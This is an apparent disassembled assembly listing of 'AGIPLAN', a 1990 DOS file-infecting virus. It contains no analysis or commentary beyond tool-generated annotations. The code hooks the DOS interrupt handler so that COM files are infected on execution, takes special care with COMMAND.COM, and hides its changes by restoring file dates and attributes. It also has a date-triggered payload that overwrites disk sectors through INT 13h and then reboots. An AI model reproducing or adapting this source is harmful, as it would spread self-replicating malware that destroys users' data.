  
PAGE  59,132
  
;
;								         
;			        AGIPLAN				         
;								         
;      Created:   1-Sep-90					         
;      Version:						         
;      Passes:    5	       Analysis Options on: none	         
;								         
;								         
;
  
movseg		 macro reg16, unused, Imm16     ; Fixup for Assembler
		 ifidn	<reg16>, <bx>
		 db	0BBh
		 endif
		 ifidn	<reg16>, <cx>
		 db	0B9h
		 endif
		 ifidn	<reg16>, <dx>
		 db	0BAh
		 endif
		 ifidn	<reg16>, <si>
		 db	0BEh
		 endif
		 ifidn	<reg16>, <di>
		 db	0BFh
		 endif
		 ifidn	<reg16>, <bp>
		 db	0BDh
		 endif
		 ifidn	<reg16>, <sp>
		 db	0BCh
		 endif
		 ifidn	<reg16>, <BX>
		 db	0BBH
		 endif
		 ifidn	<reg16>, <CX>
		 db	0B9H
		 endif
		 ifidn	<reg16>, <DX>
		 db	0BAH
		 endif
		 ifidn	<reg16>, <SI>
		 db	0BEH
		 endif
		 ifidn	<reg16>, <DI>
		 db	0BFH
		 endif
		 ifidn	<reg16>, <BP>
		 db	0BDH
		 endif
		 ifidn	<reg16>, <SP>
		 db	0BCH
		 endif
		 dw	seg Imm16
endm
data_1e		equ	46Dh			; (0000:046D=0B35h)
data_2e		equ	600h			; (0000:0600=54h)
data_3e		equ	0Eh			; (0A10:000E=1)
data_4e		equ	1			; (936D:0001=0FFFFh)
data_5e		equ	0			; (936E:0000=0)
data_6e		equ	2			; (936E:0002=0)
data_7e		equ	12h			; (936E:0012=0)
data_8e		equ	14h			; (936E:0014=936Eh)
data_9e		equ	0F0h			; (936E:00F0=0)
data_10e	equ	0F6h			; (936E:00F6=0)
data_11e	equ	0FAh			; (936E:00FA=0)
data_12e	equ	0FEh			; (936E:00FE=0)
data_45e	equ	2Ch			; (93CE:002C=0FFFFh)
data_46e	equ	5B0h			; (93CE:05B0=41h)
data_47e	equ	600h			; (93CE:0600=41h)
data_48e	equ	1			; (FFFE:0001=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
agiplan		proc	far
  
start:
		jmp	loc_43			; (04CF)
data_14		db	'P1.8&', 5, 'u', 7, 'X.', 0FFh
		db	'.', 5, '', 0FFh, 0
		db	 75h,0F4h, 58h
data_15		db	9Dh
		db	0B8h, 03h, 00h,0CFh, 90h, 90h
		db	 90h
data_16		db	0
		db	 90h, 00h,0FFh,0FFh,0FFh,0FFh
		db	0FFh
  
agiplan		endp
  
;
;
;			External Entry Point
;
;
  
int_21h_entry	proc	far
		pushf				; Push flags
		cmp	ah,4Eh			; 'N'
		jne	loc_4			; Jump if not equal
		jmp	short loc_8		; (0154)
loc_4:
		cmp	ah,4Bh			; 'K'
		jne	loc_5			; Jump if not equal
		jmp	short loc_8		; (0154)
loc_5:
		cmp	ah,0Eh
		jne	loc_6			; Jump if not equal
		jmp	short loc_8		; (0154)
loc_6:
		cmp	ah,40h			; '@'
		jne	loc_7			; Jump if not equal
		jmp	short loc_8		; (0154)
loc_7:
		popf				; Pop flags
		jmp	dword ptr cs:data_35	; (936E:05E4=138Dh)
		db	90h
loc_8:
		cli				; Disable interrupts
		push	es
		push	ds
		push	di
		push	si
		push	bp
		push	dx
		push	cx
		push	bx
		push	ax
		mov	cs:data_31,ss		; (936E:05DB=0A10h)
		mov	cs:data_32,sp		; (936E:05DD=743h)
		mov	al,0FFh
		mov	cs:data_30,al		; (936E:05DA=0FFh)
		mov	ax,3524h
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	word ptr cs:data_37,bx	; (936E:05E8=4EBh)
		jne	loc_9			; Jump if not equal
		mov	ax,2524h
		mov	dx,108h
		push	cs
		pop	ds
		int	7Eh			; ??INT Non-standard interrupt.
loc_9:
		sti				; Enable interrupts
		jmp	short loc_11		; (01AA)
loc_10:
		cli				; Disable interrupts
		xor	ax,ax			; Zero register
		mov	cs:data_30,ah		; (936E:05DA=0FFh)
		mov	ss,cs:data_31		; (936E:05DB=0A10h)
		mov	sp,cs:data_32		; (936E:05DD=743h)
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	bp
		pop	si
		pop	di
		pop	ds
		pop	es
		popf				; Pop flags
		sti				; Enable interrupts
		jmp	dword ptr cs:data_35	; (936E:05E4=138Dh)
		db	90h
loc_11:
		pop	ax
		pop	bx
		push	bx
		push	ax
		cmp	ah,4Bh			; 'K'
		je	loc_16			; Jump if equal
		cmp	ah,40h			; '@'
		jne	loc_12			; Jump if not equal
		jmp	short loc_15		; (01CC)
loc_12:
		cmp	ah,0Eh
		jne	loc_13			; Jump if not equal
		jmp	short loc_10		; (0187)
loc_13:
		cmp	ah,4Eh			; 'N'
		jne	loc_10			; Jump if not equal
		jmp	short loc_10		; (0187)
		db	90h
loc_14:
		jmp	loc_23			; (0283)
loc_15:
		mov	ax,0Fh
		cmp	cs:data_29,al		; (936E:05D9=0)
		jb	loc_10			; Jump if below
		ja	loc_14			; Jump if above
		cmp	bx,4
		jbe	loc_10			; Jump if below or =
		mov	bx,1
		push	cs
		pop	ds
		add	ds:data_11e,bx		; (936E:00FA=0)
		mov	ah,2Ch			; ','
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	dh,ds:data_11e		; (936E:00FA=0)
		ja	loc_10			; Jump if above
		mov	bx,data_3e		; (0A10:000E=1)
		add	bx,data_32		; (936E:05DD=743h)
		mov	ss:[bx],bx
		jmp	short loc_10		; (0187)
		db	 01h, 90h, 90h, 90h
loc_16:
		mov	cs:data_33,dx		; (936E:05DF=3D7Bh)
		mov	cs:data_34,ds		; (936E:05E1=7B6Eh)
		push	cs
		pop	ds
		mov	ah,2Ch			; ','
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	dh,ds:data_12e		; (936E:00FE=0)
		jb	loc_17			; Jump if below
		jmp	loc_10			; (0187)
loc_17:
		mov	dx,data_33		; (936E:05DF=3D7Bh)
		mov	ds,data_34		; (936E:05E1=7B6Eh)
		push	ax
		mov	al,2Eh			; '.'
		cld				; Clear direction
		push	ds
		push	dx
		cli				; Disable interrupts
		mov	di,dx
		push	ds
		pop	es
		mov	cx,20h
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		jnz	loc_20			; Jump if not zero
		push	cs
		pop	ds
		mov	si,offset data_21	; (936E:05C8=43h)
		mov	cx,3
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jnz	loc_22			; Jump if not zero
		sub	di,0Bh
		mov	si,offset data_20	; (936E:05C0=43h)
		mov	cx,0Bh
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		mov	dh,0FFh
		mov	cs:data_16,dh		; (936E:0128=0)
		jz	loc_18			; Jump if zero
		xor	dx,dx			; Zero register
		mov	cs:data_16,dh		; (936E:0128=0)
loc_18:
		add	sp,6
		push	cs
		pop	ds
loc_19:
		call	sub_2			; (02C0)
loc_20:
		jmp	loc_10			; (0187)
		db	 90h, 90h
loc_21:
;*		jmp	loc_34			;*(03E0)
		db	0E9h, 76h, 01h
loc_22:
		add	sp,6
		push	cs
		pop	ds
		mov	dx,5C0h
		mov	data_33,dx		; (936E:05DF=3D7Bh)
		mov	data_34,ds		; (936E:05E1=7B6Eh)
		mov	dh,0FFh
		mov	data_16,dh		; (936E:0128=0)
		jmp	short loc_19		; (025F)
		db	90h
loc_23:
		mov	cx,501h
		mov	dx,100h
		call	sub_1			; (02A0)
		mov	dx,101h
		call	sub_1			; (02A0)
		mov	dx,380h
		call	sub_1			; (02A0)
		mov	dx,381h
		call	sub_1			; (02A0)
		int	19h			; Bootstrap loader
int_21h_entry	endp
  
  
;
;			       SUBROUTINE
;
  
sub_1		proc	near
		push	dx
loc_24:
		mov	ax,309h
		int	13h			; Disk  dl=drive a  ah=func 03h
						;  write sectors from mem es:bx
		sub	dh,1
		cmp	dh,0
		jge	loc_24			; Jump if > or =
		pop	dx
		push	dx
		sub	cx,100h
		cmp	cx,0
		jge	loc_24			; Jump if > or =
		retn
sub_1		endp
  
		db	 90h, 90h, 90h
loc_25:
		jmp	loc_31			; (03A3)
  
;
;			       SUBROUTINE
;
  
sub_2		proc	near
		mov	ah,48h			; 'H'
		mov	bx,0FFFh
		int	7Eh			; ??INT Non-standard interrupt.
		jc	loc_21			; Jump if carry Set
		nop
		mov	ds:data_11e,ax		; (936E:00FA=0)
		mov	dx,data_33		; (936E:05DF=3D7Bh)
		mov	ds,data_34		; (936E:05E1=7B6Eh)
		mov	ah,3Ah			; ':'
		mov	bx,dx
		add	bx,1
		cmp	ah,[bx]
		mov	ah,0
		jnz	loc_27			; Jump if not zero
		mov	bx,dx
		mov	al,50h			; 'P'
		mov	ah,[bx]
		cmp	ah,50h			; 'P'
		ja	loc_26			; Jump if above
		sub	ah,40h			; '@'
		jmp	short loc_27		; (02F5)
loc_26:
		sub	ah,60h			; '`'
loc_27:
		mov	dl,ah
		mov	ah,36h			; '6'
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	bx,9
		jb	loc_25			; Jump if below
		mov	dx,cs:data_33		; (936E:05DF=3D7Bh)
		mov	ax,4300h
		int	7Eh			; ??INT Non-standard interrupt.
		mov	cs:data_39,cx		; (936E:05EC=20h)
		mov	ax,4301h
		xor	cx,cx			; Zero register
		int	7Eh			; ??INT Non-standard interrupt.
		nop
		mov	ax,3D42h
		int	7Eh			; ??INT Non-standard interrupt.
		jc	loc_25			; Jump if carry Set
		mov	bx,ax
		mov	ah,3Fh			; '?'
		mov	cx,0FFFFh
		mov	dx,600h
		mov	ds,cs:data_11e		; (936E:00FA=0)
		int	7Eh			; ??INT Non-standard interrupt.
		jc	loc_30			; Jump if carry Set
		add	ax,600h
		mov	cs:data_10e,ax		; (936E:00F6=0)
		cmp	ax,1000h
		jb	loc_30			; Jump if below
		cmp	ax,0D000h
		ja	loc_30			; Jump if above
		mov	si,offset ds:[100h]	; (936E:0100=0E9h)
		push	cs
		pop	ds
		xor	di,di			; Zero register
		mov	es,cs:data_11e		; (936E:00FA=0)
		mov	cx,2FFh
		cld				; Clear direction
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		push	es
		pop	ds
		xor	di,di			; Zero register
		mov	si,data_2e		; (0000:0600=54h)
		mov	cx,10h
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_30			; Jump if zero
		mov	ah,cs:data_16		; (936E:0128=0)
		cmp	ah,0FFh
		jne	loc_28			; Jump if not equal
		call	sub_3			; (03C8)
		jmp	short loc_29		; (0377)
loc_28:
		mov	ax,9090h
		mov	ds:data_1e,ax		; (0000:046D=0B35h)
loc_29:
		nop
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	7Eh			; ??INT Non-standard interrupt.
		mov	ax,5700h
		int	7Eh			; ??INT Non-standard interrupt.
		push	cx
		push	dx
		mov	ah,40h			; '@'
		mov	cx,cs:data_10e		; (936E:00F6=0)
		xor	dx,dx			; Zero register
		mov	ds,cs:data_11e		; (936E:00FA=0)
		int	7Eh			; ??INT Non-standard interrupt.
		pop	dx
		pop	cx
		mov	ax,5701h
		int	7Eh			; ??INT Non-standard interrupt.
loc_30:
		mov	ah,3Eh			; '>'
		int	7Eh			; ??INT Non-standard interrupt.
loc_31:
		mov	cx,cs:data_39		; (936E:05EC=20h)
		mov	dx,cs:data_33		; (936E:05DF=3D7Bh)
		mov	ds,cs:data_34		; (936E:05E1=7B6Eh)
		mov	ax,4301h
loc_32:
		int	7Eh			; ??INT Non-standard interrupt.
		push	cs
		pop	ds
		mov	es,cs:data_11e		; (936E:00FA=0)
		mov	ah,49h			; 'I'
		int	7Eh			; ??INT Non-standard interrupt.
		retn
sub_2		endp
  
		db	 90h, 90h, 90h, 90h, 90h
  
;
;			       SUBROUTINE
;
  
sub_3		proc	near
		mov	ax,0D08Eh
		mov	ds:data_1e,ax		; (0000:046D=0B35h)
		mov	di,data_2e		; (0000:0600=54h)
		mov	cx,3000h
		mov	ax,0B8C9h
loc_33:
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		cmp	ah,es:[di]
		jne	loc_33			; Jump if not equal
		mov	dx,4200h
		cmp	dx,es:[di+1]
		jne	loc_33			; Jump if not equal
		mov	dh,0BAh
		cmp	dh,es:[di-5]
		jne	loc_33			; Jump if not equal
		cmp	cx,0
		jne	loc_35			; Jump if not equal
		pop	dx
		jmp	short loc_32		; (03B5)
		db	90h
loc_35:
		mov	dx,es:[di-4]
		add	dx,600h
		mov	es:[di-4],dx
		retn
sub_3		endp
  
		db	11 dup (90h)
  
;
;			       SUBROUTINE
;
  
sub_4		proc	near
		mov	ax,4A00h
		mov	bx,5Fh
		int	21h			; DOS Services  ah=function 4Ah
						;  change mem allocation, bx=siz
		mov	bx,cs
		sub	bx,1
		mov	ds,bx
		mov	ax,0FFFFh
		mov	ds:data_4e,ax		; (936D:0001=0FFFFh)
		push	cs
		pop	ds
		mov	ax,4800h
		mov	bx,0FFFFh
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		mov	ax,4800h
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		retn
sub_4		endp
  
		db	0CBh
		db	26 dup (90h)
  
;
;			       SUBROUTINE
;
  
sub_5		proc	near
		mov	cx,10h
		mov	si,offset data_15	; (936E:0120=9Dh)
		mov	di,data_9e		; (936E:00F0=0)
		cld				; Clear direction
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	ah,2Ah			; '*'
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dx=mon/day
		cmp	cx,data_25		; (936E:05D1=7BCh)
		ja	loc_38			; Jump if above
		jc	loc_36			; Jump if carry Set
		cmp	dx,data_26		; (936E:05D3=701h)
		ja	loc_38			; Jump if above
loc_36:
		cmp	cx,data_27		; (936E:05D5=7BCh)
		ja	loc_39			; Jump if above
		jc	loc_37			; Jump if carry Set
		cmp	dx,data_28		; (936E:05D7=501h)
		ja	loc_39			; Jump if above
loc_37:
		mov	ax,0
		jmp	short loc_40		; (0487)
loc_38:
		or	ax,0F0h
loc_39:
		or	ax,0Fh
loc_40:
		mov	data_29,al		; (936E:05D9=0)
		push	dx
		push	cx
		xor	bx,bx			; Zero register
		call	sub_6			; (04A5)
		pop	cx
		pop	dx
		mov	bx,data_6e		; (936E:0002=0)
		call	sub_6			; (04A5)
		mov	ah,1
		add	data_22,ah		; (936E:05CC=14h)
		nop
		retn
sub_5		endp
  
		db	 90h, 90h, 90h, 90h
  
;
;			       SUBROUTINE
;
  
sub_6		proc	near
		add	dl,data_24[bx]		; (936E:05CE=0)
		cmp	dl,20h			; ' '
		jbe	loc_41			; Jump if below or =
		add	dh,1
		sub	dl,20h			; ' '
loc_41:
		add	dh,data_23[bx]		; (936E:05CD=6)
		cmp	dh,0Bh
		jbe	loc_42			; Jump if below or =
		sub	dh,0Bh
		add	cx,1
loc_42:
		add	bx,bx
		nop
		mov	data_26[bx],dx		; (936E:05D3=701h)
		mov	data_25[bx],cx		; (936E:05D1=7BCh)
		retn
sub_6		endp
  
loc_43:
		push	ax
		mov	al,3Fh			; '?'
		mov	dx,70h
		out	dx,al			; port 70h, RTC addr/enabl NMI
		mov	dx,71h
		in	al,dx			; port 71h, RTC clock/RAM data
		cmp	al,0F0h
		jbe	loc_44			; Jump if below or =
		jmp	loc_47			; (057B)
loc_44:
		mov	ax,357Fh
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ax,ds
		mov	es,ax
		cmp	bx,0FFFFh
		jne	loc_45			; Jump if not equal
		jmp	loc_48			; (0582)
loc_45:
		mov	dx,0FFFFh
		mov	ax,257Fh
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr data_35,bx	; (936E:05E4=138Dh)
		mov	word ptr data_35+2,es	; (936E:05E6=28Ch)
		mov	ax,es
		mov	ds,ax
		mov	dx,bx
		mov	ax,257Eh
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,cs
		mov	es,ax
		mov	ds,ax
		mov	dx,offset int_21h_entry
		mov	ax,2521h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr data_37,bx	; (936E:05E8=4EBh)
		mov	word ptr data_37+2,es	; (936E:05EA=0A10h)
		mov	ax,es
		mov	ds,ax
		mov	dx,bx
		mov	ax,25FDh
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,cs
		mov	es,ax
		mov	ds,ax
		mov	dx,offset int_24h_entry
		mov	ax,2524h
		mov	ds:data_7e,dx		; (936E:0012=0)
		mov	ds:data_8e,ds		; (936E:0014=936Eh)
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		call	sub_5			; (0450)
		call	sub_4			; (0410)
		nop
		nop
		nop
		nop
		nop
loc_46:
		mov	cx,80h
		mov	di,data_47e		; (93CE:0600=41h)
		mov	si,data_5e		; (936E:0000=0)
		cld				; Clear direction
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		mov	ax,ds
		add	ax,60h
		mov	word ptr ds:[579h],ax	; (936E:0579=0E64h)
		nop
		nop
		mov	es,ax
		mov	ds,ax
		pop	ax
		nop
		nop
;*		jmp	far ptr loc_1		;*(0E64:0100)
		db	0EAh, 00h, 01h, 64h, 0Eh
loc_47:
		mov	dx,data_46e		; (93CE:05B0=41h)
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
loc_48:
		mov	ax,4A00h
		mov	bx,5Fh
		int	21h			; DOS Services  ah=function 4Ah
						;  change mem allocation, bx=siz
		mov	bx,ds:data_45e		; (93CE:002C=0FFFFh)
		sub	bx,1
		xor	ax,ax			; Zero register
		mov	ds,bx
		mov	ds:data_48e,ax		; (FFFE:0001=0)
		mov	bx,cs
		add	bx,60h
		mov	dx,cs
		sub	dx,1
		mov	ds,dx
		mov	ds:data_4e,bx		; (936D:0001=0FFFFh)
		mov	ah,50h			; 'P'
		int	21h			; DOS Services  ah=function 50h
						;  set active PSP segmnt from bx
		push	cs
		pop	ds
		jmp	short loc_46		; (0559)
		db	'load error', 0Dh, 0Ah, '$'
		db	0Ah, '$'
		db	0
data_20		db	'COMMAND.'
data_21		db	43h
		db	 4Fh, 4Dh, 00h
data_22		db	14h
data_23		db	6			; Data table (indexed access)
data_24		db	0			; Data table (indexed access)
		db	4, 0
data_25		dw	7BCh			; Data table (indexed access)
data_26		dw	701h			; Data table (indexed access)
data_27		dw	7BCh
data_28		dw	501h
data_29		db	0
data_30		db	0FFh
data_31		dw	0A10h
data_32		dw	743h
data_33		dw	3D7Bh
data_34		dw	7B6Eh
		db	90h
data_35		dd	28C138Dh
data_37		dd	0A1004EBh
data_39		dw	20h
		db	 90h, 90h, 4Dh, 10h, 0Ah,0FFh
		db	 0Fh
		db	11 dup (90h)
		db	0E9h,0CCh, 03h, 90h, 90h, 90h
		db	 90h, 90h, 9Ch, 50h, 31h,0C0h
		db	 2Eh, 38h, 26h,0DAh, 05h, 75h
		db	 07h
loc_49:
		pop	ax
		popf				; Pop flags
		jmp	cs:data_37		; (936E:05E8=4EBh)
		cmp	di,0
		jne	loc_49			; Jump if not equal
		pop	ax
		popf				; Pop flags
		mov	ax,3
		iret				; Interrupt return
		db	 90h, 90h, 90h, 00h, 90h, 00h
		db	0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch
		db	 80h,0FCh, 4Eh, 75h, 02h,0EBh
		db	 1Ch, 80h,0FCh, 4Bh, 75h, 02h
		db	0EBh, 15h
loc_50:
		cmp	ah,0Eh
		jne	loc_51			; Jump if not equal
		jmp	short loc_53		; (0654)
loc_51:
		cmp	ah,40h			; '@'
		jne	loc_52			; Jump if not equal
		jmp	short loc_53		; (0654)
loc_52:
		popf				; Pop flags
		jmp	cs:data_35		; (936E:05E4=138Dh)
		db	90h
loc_53:
		cli				; Disable interrupts
		push	es
		push	ds
		push	di
		push	si
		push	bp
		push	dx
		push	cx
		push	bx
		push	ax
		mov	cs:data_31,ss		; (936E:05DB=0A10h)
		mov	cs:data_32,sp		; (936E:05DD=743h)
		mov	al,0FFh
		mov	cs:data_30,al		; (936E:05DA=0FFh)
		mov	ax,3524h
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	word ptr cs:data_37,bx	; (936E:05E8=4EBh)
		jne	loc_54			; Jump if not equal
		mov	ax,2524h
		mov	dx,108h
		push	cs
		pop	ds
		int	7Eh			; ??INT Non-standard interrupt.
loc_54:
		sti				; Enable interrupts
		jmp	short loc_56		; (06AA)
loc_55:
		cli				; Disable interrupts
		xor	ax,ax			; Zero register
		mov	cs:data_30,ah		; (936E:05DA=0FFh)
		mov	ss,cs:data_31		; (936E:05DB=0A10h)
		mov	sp,cs:data_32		; (936E:05DD=743h)
		pop	ax
		pop	bx
		pop	cx
		pop	dx
		pop	bp
		pop	si
		pop	di
		pop	ds
		pop	es
		popf				; Pop flags
		sti				; Enable interrupts
		jmp	cs:data_35		; (936E:05E4=138Dh)
		db	90h
loc_56:
		pop	ax
		pop	bx
		push	bx
		push	ax
		cmp	ah,4Bh			; 'K'
		je	loc_61			; Jump if equal
		cmp	ah,40h			; '@'
		jne	loc_57			; Jump if not equal
		jmp	short loc_60		; (06CC)
loc_57:
		cmp	ah,0Eh
		jne	loc_58			; Jump if not equal
		jmp	short loc_55		; (0687)
loc_58:
		cmp	ah,4Eh			; 'N'
		jne	loc_55			; Jump if not equal
		jmp	short loc_55		; (0687)
		db	90h
loc_59:
		jmp	loc_62			; (0783)
loc_60:
		mov	ax,0Fh
		cmp	cs:data_29,al		; (936E:05D9=0)
		jb	loc_55			; Jump if below
		ja	loc_59			; Jump if above
		cmp	bx,4
		jbe	loc_55			; Jump if below or =
		mov	bx,1
		push	cs
		pop	ds
		add	ds:data_11e,bx		; (936E:00FA=0)
		mov	ah,2Ch			; ','
		int	7Eh			; ??INT Non-standard interrupt.
		cmp	dh,ds:data_11e		; (936E:00FA=0)
		ja	loc_55			; Jump if above
		mov	bx,data_3e		; (0A10:000E=1)
		add	bx,data_32		; (936E:05DD=743h)
		mov	ss:[bx],bx
		jmp	short loc_55		; (0687)
		db	 01h, 90h, 90h, 90h
loc_61:
		jmp	loc_63			; (1A7F)
		db	'Hello - Copyright S & S Internat'
		db	'ional, 1990', 0Ah, 0Dh, '$'
		db	 1Ah, 41h, 41h
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAA'
loc_62:
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
